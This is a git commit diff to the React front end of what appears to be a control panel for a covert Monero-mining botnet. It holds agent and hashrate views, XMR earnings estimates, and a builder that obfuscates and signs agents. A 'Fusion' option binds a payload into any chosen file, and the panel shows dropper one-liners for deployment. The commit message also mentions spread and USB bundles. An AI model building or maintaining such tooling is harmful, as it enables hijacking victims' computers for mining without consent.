fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes
WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
@@ -113,6 +113,14 @@ export default function AgentsPage() {
|
||||
[agents]
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
const liveIds = new Set(agents.map((a) => a.id));
|
||||
setSelectedIds((prev) => {
|
||||
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
|
||||
return pruned.size === prev.size ? prev : pruned;
|
||||
});
|
||||
}, [agents]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length || !screenshotWatchId.current) return;
|
||||
const watch = screenshotWatchId.current;
|
||||
@@ -516,7 +524,13 @@ export default function AgentsPage() {
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Wallet</span>
|
||||
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
|
||||
<span className="detail-value mono">
|
||||
{selectedAgent.wallet
|
||||
? selectedAgent.wallet.length > 24
|
||||
? `${selectedAgent.wallet.slice(0, 20)}…`
|
||||
: selectedAgent.wallet
|
||||
: '—'}
|
||||
</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">IP Address</span>
|
||||
@@ -597,9 +611,7 @@ export default function AgentsPage() {
|
||||
time: new Date(s.timestamp).toLocaleTimeString(),
|
||||
value: s.hashrate,
|
||||
}));
|
||||
const chart = resolveChartSeries(live, 'hashrate', {
|
||||
tailValue: selectedAgent.hashrate_15m,
|
||||
});
|
||||
const chart = resolveChartSeries(live);
|
||||
return (
|
||||
<HashrateChart
|
||||
title=""
|
||||
|
||||
@@ -71,23 +71,27 @@ function CopyButton({ text, label }: { text: string; label: string }) {
|
||||
);
|
||||
}
|
||||
|
||||
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
|
||||
function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
|
||||
const [confirming, setConfirming] = useState(false);
|
||||
const [busy, setBusy] = useState(false);
|
||||
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
|
||||
const handleClick = () => {
|
||||
const handleClick = async () => {
|
||||
if (!confirming) {
|
||||
setConfirming(true);
|
||||
timerRef.current = setTimeout(() => setConfirming(false), 3000);
|
||||
} else {
|
||||
if (timerRef.current) clearTimeout(timerRef.current);
|
||||
setBusy(true);
|
||||
api.deleteBuild(buildId).finally(() => {
|
||||
setBusy(false);
|
||||
setConfirming(false);
|
||||
onDeleted();
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (timerRef.current) clearTimeout(timerRef.current);
|
||||
setBusy(true);
|
||||
try {
|
||||
await api.deleteBuild(buildId);
|
||||
onDeleted();
|
||||
} catch (e) {
|
||||
onError(e instanceof Error ? e.message : 'Failed to delete build');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
setConfirming(false);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -96,7 +100,7 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
|
||||
type="button"
|
||||
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
|
||||
disabled={busy}
|
||||
onClick={handleClick}
|
||||
onClick={() => void handleClick()}
|
||||
title="Delete this build from server"
|
||||
>
|
||||
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
|
||||
@@ -104,7 +108,17 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
|
||||
);
|
||||
}
|
||||
|
||||
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
|
||||
function PinButton({
|
||||
buildId,
|
||||
pinned,
|
||||
onPinned,
|
||||
onError,
|
||||
}: {
|
||||
buildId: string;
|
||||
pinned: boolean;
|
||||
onPinned: () => void;
|
||||
onError: (msg: string) => void;
|
||||
}) {
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const handleClick = async () => {
|
||||
@@ -118,7 +132,7 @@ function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boo
|
||||
}
|
||||
onPinned();
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
@@ -145,12 +159,14 @@ function BuildCard({
|
||||
onReforge,
|
||||
onDeleted,
|
||||
onPinned,
|
||||
onActionError,
|
||||
}: {
|
||||
build: BuildRecord;
|
||||
serverBase: string;
|
||||
onReforge: (b: BuildRecord) => void;
|
||||
onDeleted: () => void;
|
||||
onPinned: () => void;
|
||||
onActionError: (msg: string) => void;
|
||||
}) {
|
||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
|
||||
@@ -249,7 +265,11 @@ function BuildCard({
|
||||
|
||||
{/* ── Dropper one-liners ── */}
|
||||
<div className="bm-dropper">
|
||||
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
|
||||
<div className="bm-downloads-label font-tech">
|
||||
{build.pinned
|
||||
? 'ONE-LINER DEPLOY (serves this pinned build)'
|
||||
: 'ONE-LINER DEPLOY (serves latest build)'}
|
||||
</div>
|
||||
<div className="bm-dropper-row">
|
||||
<span className="bm-dropper-os">Win</span>
|
||||
<code className="bm-dropper-cmd">{ps1}</code>
|
||||
@@ -274,7 +294,7 @@ function BuildCard({
|
||||
<span className="bm-qr-label">Scan to download</span>
|
||||
</div>
|
||||
<div className="bm-action-btns">
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary bm-reforge-btn"
|
||||
@@ -282,7 +302,7 @@ function BuildCard({
|
||||
>
|
||||
⚒ Re-forge
|
||||
</button>
|
||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
|
||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
@@ -295,28 +315,31 @@ export default function BuildManagerPage() {
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [error, setError] = useState('');
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
|
||||
const navigate = useNavigate();
|
||||
|
||||
const applyServerBase = useCallback((suggestedUrl?: string) => {
|
||||
const pub = suggestedUrl?.trim().replace(/\/$/, '');
|
||||
setServerBase(pub || window.location.origin.replace(/\/$/, ''));
|
||||
}, []);
|
||||
|
||||
const loadBuilds = useCallback(async () => {
|
||||
try {
|
||||
const list = await api.listBuilds();
|
||||
const [list, info] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo().catch(() => null),
|
||||
]);
|
||||
setBuilds(list);
|
||||
setError('');
|
||||
if (info) applyServerBase(info.suggested_url);
|
||||
else applyServerBase();
|
||||
} catch (e) {
|
||||
setError(e instanceof Error ? e.message : 'Failed to load builds');
|
||||
applyServerBase();
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
// Load server base URL separately so a slow/hung server-info call
|
||||
// never blocks the builds list from rendering.
|
||||
api.getServerInfo()
|
||||
.then((info) => {
|
||||
const pub = info?.suggested_url?.trim().replace(/\/$/, '');
|
||||
if (pub) setServerBase(pub);
|
||||
})
|
||||
.catch(() => {/* use window.location.origin fallback already set */});
|
||||
}, []);
|
||||
}, [applyServerBase]);
|
||||
|
||||
useEffect(() => { loadBuilds(); }, [loadBuilds]);
|
||||
|
||||
@@ -375,6 +398,7 @@ export default function BuildManagerPage() {
|
||||
onReforge={handleReforge}
|
||||
onDeleted={loadBuilds}
|
||||
onPinned={loadBuilds}
|
||||
onActionError={(msg) => setError(msg)}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
|
||||
@@ -59,15 +59,17 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
|
||||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||
}
|
||||
|
||||
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
|
||||
// Simulated stage timeline — real compiles (garble/universal/fusion) often take 10–30+ min.
|
||||
// Cap below 95% until the server responds; finishForgeSuccess sets 100%.
|
||||
const FORGE_PROGRESS_CAP = 94;
|
||||
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
|
||||
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
|
||||
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
|
||||
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
|
||||
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
|
||||
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
|
||||
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
|
||||
{ label: 'Almost done...', pct: 98, minMs: 15000 },
|
||||
{ label: 'Resolving dependencies...', pct: 6, minMs: 0 },
|
||||
{ label: 'Compiling agent source...', pct: 18, minMs: 20000 },
|
||||
{ label: 'Cross-compiling targets...', pct: 36, minMs: 90000 },
|
||||
{ label: 'Applying obfuscation...', pct: 52, minMs: 240000 },
|
||||
{ label: 'Packaging deliverable...', pct: 68, minMs: 420000 },
|
||||
{ label: 'Signing & finalizing...', pct: 82, minMs: 600000 },
|
||||
{ label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
|
||||
];
|
||||
|
||||
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
|
||||
@@ -153,6 +155,9 @@ export default function BuilderPage() {
|
||||
const forgedThisSessionRef = useRef(false);
|
||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
|
||||
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
|
||||
const fusionPrepRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
// Drive simulated stage progress while a single build is running
|
||||
useEffect(() => {
|
||||
@@ -175,14 +180,14 @@ export default function BuilderPage() {
|
||||
}
|
||||
const s = FORGE_STAGES[next];
|
||||
// Smoothly interpolate within this stage toward the next stage's target %
|
||||
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
|
||||
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
|
||||
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
|
||||
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
|
||||
const stageElapsed = elapsed - s.minMs;
|
||||
const stageDur = nextMs - s.minMs;
|
||||
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
|
||||
const pct = s.pct + (nextPct - s.pct) * frac;
|
||||
if (next !== stageIdx) stageIdx = next;
|
||||
setStage(s.label, Math.min(98, pct));
|
||||
setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
|
||||
forgeStageTimerRef.current = setTimeout(advance, 250);
|
||||
};
|
||||
advance();
|
||||
@@ -238,8 +243,10 @@ export default function BuilderPage() {
|
||||
setListenPort(config.port || 8989);
|
||||
}
|
||||
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
|
||||
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
|
||||
setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
|
||||
const buildList = builds as BuildRecord[];
|
||||
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
|
||||
setRecentBuilds(buildList);
|
||||
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
|
||||
})
|
||||
.catch((err) => {
|
||||
console.error(err);
|
||||
@@ -257,17 +264,21 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
// Handle ?reforge=<buildId> links from Build Manager page
|
||||
// Handle ?reforge=<buildId> links from Build Manager — pre-fill only; user confirms before compile.
|
||||
useEffect(() => {
|
||||
const reforgeId = searchParams.get('reforge');
|
||||
if (!reforgeId || recentBuilds.length === 0) return;
|
||||
if (!reforgeId || !form || recentBuilds.length === 0) return;
|
||||
const match = recentBuilds.find((b) => b.id === reforgeId);
|
||||
if (match) {
|
||||
reForgeFromBuild(match);
|
||||
const merged = buildRequestFromRecord(match, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
|
||||
setForm(merged);
|
||||
setPendingReforgeBuild(match);
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
setSearchParams({}, { replace: true });
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [searchParams, recentBuilds]);
|
||||
}, [searchParams, recentBuilds, form]);
|
||||
|
||||
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||
setStage('Build complete!', 100);
|
||||
@@ -355,6 +366,12 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const focusFusionPrepPicker = () => {
|
||||
setHighlightFusionPrep(true);
|
||||
fusionPrepRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||
window.setTimeout(() => setHighlightFusionPrep(false), 6000);
|
||||
};
|
||||
|
||||
const reForgeFromBuild = async (build: BuildRecord) => {
|
||||
if (!form) return;
|
||||
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
|
||||
@@ -366,8 +383,9 @@ export default function BuilderPage() {
|
||||
// server after a build completes (M15). Prompt the user to re-upload first.
|
||||
if (merged.fusion_enabled && !fusionPrepFile) {
|
||||
setError(
|
||||
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
|
||||
'This build used a Fusion payload. Re-upload the payload file in the Fusion section below, then confirm Re-forge again.'
|
||||
);
|
||||
focusFusionPrepPicker();
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -651,7 +669,16 @@ export default function BuilderPage() {
|
||||
await finishForgeSuccess(result);
|
||||
} catch (err: any) {
|
||||
if (err.message !== 'build cancelled') {
|
||||
setError(err.message || 'Build failed');
|
||||
let msg = err?.message || 'Build failed';
|
||||
const aborted =
|
||||
err?.name === 'AbortError' ||
|
||||
/abort|timed out|timeout/i.test(msg);
|
||||
if (aborted) {
|
||||
msg =
|
||||
'Forge request ended early (browser or proxy timeout). The server may still be compiling — open Build Manager or refresh this page in a minute.';
|
||||
}
|
||||
setError(msg);
|
||||
void loadRecentBuilds();
|
||||
}
|
||||
} finally {
|
||||
cancelTokenRef.current = '';
|
||||
@@ -702,7 +729,7 @@ export default function BuilderPage() {
|
||||
[form, fusionPrepFile]
|
||||
);
|
||||
const preflightChecks = useMemo(
|
||||
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
|
||||
() => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
|
||||
[form, fusionPrepFile]
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
@@ -811,6 +838,39 @@ export default function BuilderPage() {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<SetupBanner status={setupStatus} />
|
||||
{pendingReforgeBuild && (
|
||||
<div className="reforge-confirm-banner form-error" role="alert">
|
||||
<span>⚒</span>
|
||||
<div style={{ flex: 1 }}>
|
||||
<strong>Re-forge {pendingReforgeBuild.worker_name}?</strong>
|
||||
<p className="form-hint" style={{ margin: '0.35rem 0 0', color: 'inherit' }}>
|
||||
Settings were loaded from Build Manager. Confirm to start compiling — this cannot be undone mid-forge.
|
||||
</p>
|
||||
</div>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', flexShrink: 0 }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary btn-sm"
|
||||
disabled={building}
|
||||
onClick={() => {
|
||||
const build = pendingReforgeBuild;
|
||||
setPendingReforgeBuild(null);
|
||||
void reForgeFromBuild(build);
|
||||
}}
|
||||
>
|
||||
Confirm Re-forge
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={building}
|
||||
onClick={() => setPendingReforgeBuild(null)}
|
||||
>
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{/* Hidden file input for importing blueprint .json files */}
|
||||
<input
|
||||
type="file"
|
||||
@@ -1867,7 +1927,10 @@ export default function BuilderPage() {
|
||||
{form.fusion_enabled && (
|
||||
<>
|
||||
{/* Single-file pick (used when Forge button is clicked) */}
|
||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div
|
||||
ref={fusionPrepRef}
|
||||
className={`form-group fusion-prep-picker${highlightFusionPrep ? ' fusion-prep-highlight' : ''}${fieldMeta.fusion_prep?.disabled ? ' field-disabled' : ''}`}
|
||||
>
|
||||
<div className="label-row">
|
||||
<label className="label">
|
||||
Drop any file to fuse <HelpTip field="fusion_prep" />
|
||||
@@ -1880,6 +1943,7 @@ export default function BuilderPage() {
|
||||
accept="*"
|
||||
onChange={(e) => {
|
||||
applyFusionFileSelection(e.target.files?.[0] || null);
|
||||
setHighlightFusionPrep(false);
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
|
||||
@@ -123,12 +123,12 @@ describe('DashboardPage', () => {
|
||||
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows projection charts and wealth strip with no agents', async () => {
|
||||
it('does not show projection or fake earnings with no agents', async () => {
|
||||
renderDashboard();
|
||||
expect(await screen.findByText(/Projection mode/i)).toBeInTheDocument();
|
||||
expect(await screen.findByText('Fleet Hashrate Wave')).toBeInTheDocument();
|
||||
expect(await screen.findByText('Accept Rate Pulse')).toBeInTheDocument();
|
||||
expect(await screen.findByText('Target Fleet Earnings')).toBeInTheDocument();
|
||||
expect(await screen.findByText('Command Deck')).toBeInTheDocument();
|
||||
expect(screen.queryByText(/Projection mode/i)).not.toBeInTheDocument();
|
||||
expect(screen.queryByText('Target Fleet Earnings')).not.toBeInTheDocument();
|
||||
expect(screen.queryByText('Vault-01')).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders stat labels and top agent card', async () => {
|
||||
|
||||
@@ -12,7 +12,6 @@ import {
|
||||
PoolStatusPanel,
|
||||
AIActivityPanel,
|
||||
EarningsEstimator,
|
||||
WealthEarningsPreview,
|
||||
FleetHealthCard,
|
||||
ContributionBars,
|
||||
UnderperformerList,
|
||||
@@ -46,9 +45,6 @@ import {
|
||||
} from '../help/fleetAnalytics';
|
||||
import {
|
||||
resolveChartSeries,
|
||||
SAMPLE_ACTIVITY,
|
||||
SAMPLE_CONTRIBUTION_BARS,
|
||||
SAMPLE_FLEET_PREVIEW,
|
||||
} from '../help/chartSampleData';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -133,6 +129,14 @@ export default function DashboardPage() {
|
||||
}
|
||||
}, [recentShares]);
|
||||
|
||||
useEffect(() => {
|
||||
const liveIds = new Set(agents.map((a) => a.id));
|
||||
setSelectedIds((prev) => {
|
||||
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
|
||||
return pruned.size === prev.size ? prev : pruned;
|
||||
});
|
||||
}, [agents]);
|
||||
|
||||
const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
|
||||
const onlineCount = agents.filter((a) => a.status === 'online').length;
|
||||
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
||||
@@ -154,7 +158,7 @@ export default function DashboardPage() {
|
||||
[gpuAgents]
|
||||
);
|
||||
const bestGPUAgent = useMemo(
|
||||
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
|
||||
() => [...gpuAgents].sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
|
||||
[gpuAgents]
|
||||
);
|
||||
const gpuModels = useMemo(
|
||||
@@ -166,10 +170,8 @@ export default function DashboardPage() {
|
||||
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
|
||||
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
|
||||
|
||||
const previewDeck = agents.length === 0 || (totalHashrate <= 0 && onlineCount === 0);
|
||||
|
||||
useEffect(() => {
|
||||
if (previewDeck || totalHashrate <= 0) {
|
||||
if (totalHashrate <= 0) {
|
||||
setEstXmrDay(null);
|
||||
return;
|
||||
}
|
||||
@@ -183,15 +185,7 @@ export default function DashboardPage() {
|
||||
if (!controller.signal.aborted) setEstXmrDay(null);
|
||||
});
|
||||
return () => controller.abort();
|
||||
}, [totalHashrate, previewDeck]);
|
||||
|
||||
const displayHashrate = previewDeck ? SAMPLE_FLEET_PREVIEW.hashrate : totalHashrate;
|
||||
const displayAccept = previewDeck ? SAMPLE_FLEET_PREVIEW.acceptRate : acceptRate;
|
||||
const displayCpu = previewDeck ? SAMPLE_FLEET_PREVIEW.avgCpu : avgCpu;
|
||||
const displayMem = previewDeck ? SAMPLE_FLEET_PREVIEW.avgMem : avgMem;
|
||||
const displayOnlinePct = previewDeck ? SAMPLE_FLEET_PREVIEW.onlinePct : onlinePct;
|
||||
const displayOnline = previewDeck ? SAMPLE_FLEET_PREVIEW.onlineCount : onlineCount;
|
||||
const displayAgentTotal = previewDeck ? SAMPLE_FLEET_PREVIEW.agentCount : agents.length;
|
||||
}, [totalHashrate]);
|
||||
|
||||
useEffect(() => {
|
||||
const now = new Date().toLocaleTimeString();
|
||||
@@ -199,38 +193,21 @@ export default function DashboardPage() {
|
||||
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
|
||||
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
|
||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
||||
const gpuVal = totalGPUHashrate > 0 ? totalGPUHashrate : previewDeck ? 48_500_000 : 0;
|
||||
if (gpuVal > 0 || previewDeck) {
|
||||
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: gpuVal }]);
|
||||
if (totalGPUHashrate > 0) {
|
||||
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: totalGPUHashrate }]);
|
||||
}
|
||||
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate, previewDeck]);
|
||||
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate]);
|
||||
|
||||
const hashChart = useMemo(
|
||||
() => resolveChartSeries(hashHistory, 'hashrate', { tailValue: displayHashrate }),
|
||||
[hashHistory, displayHashrate]
|
||||
);
|
||||
const acceptChart = useMemo(
|
||||
() => resolveChartSeries(acceptHistory, 'accept', { tailValue: displayAccept }),
|
||||
[acceptHistory, displayAccept]
|
||||
);
|
||||
const cpuChart = useMemo(
|
||||
() => resolveChartSeries(cpuHistory, 'cpu', { tailValue: displayCpu }),
|
||||
[cpuHistory, displayCpu]
|
||||
);
|
||||
const memChart = useMemo(
|
||||
() => resolveChartSeries(memHistory, 'mem', { tailValue: displayMem }),
|
||||
[memHistory, displayMem]
|
||||
);
|
||||
const gpuChart = useMemo(
|
||||
() => resolveChartSeries(gpuHistory, 'gpu', { tailValue: totalGPUHashrate || 48_500_000 }),
|
||||
[gpuHistory, totalGPUHashrate]
|
||||
);
|
||||
const hashChart = useMemo(() => resolveChartSeries(hashHistory), [hashHistory]);
|
||||
const acceptChart = useMemo(() => resolveChartSeries(acceptHistory), [acceptHistory]);
|
||||
const cpuChart = useMemo(() => resolveChartSeries(cpuHistory), [cpuHistory]);
|
||||
const memChart = useMemo(() => resolveChartSeries(memHistory), [memHistory]);
|
||||
const gpuChart = useMemo(() => resolveChartSeries(gpuHistory), [gpuHistory]);
|
||||
|
||||
const estUsdDay = useMemo(() => {
|
||||
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
|
||||
const xmr = previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : estXmrDay;
|
||||
return xmr != null ? xmr * price : null;
|
||||
}, [previewDeck, estXmrDay, xmrPrice]);
|
||||
if (estXmrDay == null || xmrPrice == null) return null;
|
||||
return estXmrDay * xmrPrice;
|
||||
}, [estXmrDay, xmrPrice]);
|
||||
|
||||
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
|
||||
|
||||
@@ -247,9 +224,8 @@ export default function DashboardPage() {
|
||||
ok: s.accepted,
|
||||
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
|
||||
}));
|
||||
if (live.length > 0) return live;
|
||||
return previewDeck ? SAMPLE_ACTIVITY : live;
|
||||
}, [shares, previewDeck]);
|
||||
return live;
|
||||
}, [shares]);
|
||||
|
||||
const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
||||
const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
|
||||
@@ -427,12 +403,6 @@ export default function DashboardPage() {
|
||||
<AuditLogStrip limit={6} />
|
||||
</div>
|
||||
|
||||
{previewDeck && (
|
||||
<p className="preview-deck-hint font-tech" role="status">
|
||||
Projection mode — charts validated with sample telemetry until your fleet connects
|
||||
</p>
|
||||
)}
|
||||
|
||||
<header className="deck-hero wealth-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
|
||||
@@ -470,7 +440,7 @@ export default function DashboardPage() {
|
||||
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
|
||||
<div className="deck-wealth-pill">
|
||||
<div className="dwp-label">Fleet Hash</div>
|
||||
<div className="dwp-value mint">{formatHashrate(displayHashrate)}</div>
|
||||
<div className="dwp-value mint">{formatHashrate(totalHashrate)}</div>
|
||||
<div className="dwp-sub">15m rolling</div>
|
||||
</div>
|
||||
<div className="deck-wealth-pill">
|
||||
@@ -478,19 +448,19 @@ export default function DashboardPage() {
|
||||
<div className="dwp-value mint">
|
||||
{estUsdDay != null ? `≈ $${estUsdDay.toFixed(2)}` : '—'}
|
||||
</div>
|
||||
<div className="dwp-sub">{previewDeck ? 'projection' : 'from live hashrate'}</div>
|
||||
<div className="dwp-sub">{totalHashrate > 0 ? 'from live hashrate' : 'no active hashing'}</div>
|
||||
</div>
|
||||
<div className="deck-wealth-pill">
|
||||
<div className="dwp-label">Accept</div>
|
||||
<div className="dwp-value">{displayAccept.toFixed(1)}%</div>
|
||||
<div className="dwp-value">{acceptRate.toFixed(1)}%</div>
|
||||
<div className="dwp-sub">share quality</div>
|
||||
</div>
|
||||
<div className="deck-wealth-pill">
|
||||
<div className="dwp-label">Nodes Live</div>
|
||||
<div className="dwp-value">
|
||||
{displayOnline}/{displayAgentTotal}
|
||||
{onlineCount}/{agents.length}
|
||||
</div>
|
||||
<div className="dwp-sub">{displayOnlinePct.toFixed(0)}% online</div>
|
||||
<div className="dwp-sub">{onlinePct.toFixed(0)}% online</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -514,8 +484,8 @@ export default function DashboardPage() {
|
||||
<section className="gauge-row">
|
||||
<NeonCard accent="cyan" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={displayHashrate}
|
||||
max={Math.max(displayHashrate * 1.2, 1000)}
|
||||
value={totalHashrate}
|
||||
max={Math.max(totalHashrate * 1.2, 1000)}
|
||||
label="Fleet Hash"
|
||||
sublabel="15m avg"
|
||||
color="var(--neon-cyan)"
|
||||
@@ -524,21 +494,21 @@ export default function DashboardPage() {
|
||||
</NeonCard>
|
||||
<NeonCard accent="green" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={displayOnlinePct}
|
||||
value={onlinePct}
|
||||
label="Online"
|
||||
sublabel={`${displayOnline}/${displayAgentTotal}`}
|
||||
sublabel={`${onlineCount}/${agents.length}`}
|
||||
color="var(--neon-green)"
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="purple" className="gauge-card" hud>
|
||||
<GaugeRing value={displayAccept} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
|
||||
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={displayCpu}
|
||||
value={avgCpu}
|
||||
label="CPU"
|
||||
sublabel={`RAM ${displayMem.toFixed(0)}%`}
|
||||
sublabel={`RAM ${avgMem.toFixed(0)}%`}
|
||||
color="var(--neon-amber)"
|
||||
size={110}
|
||||
/>
|
||||
@@ -548,26 +518,24 @@ export default function DashboardPage() {
|
||||
<div className="grid-4 stats-grid steampunk-stats">
|
||||
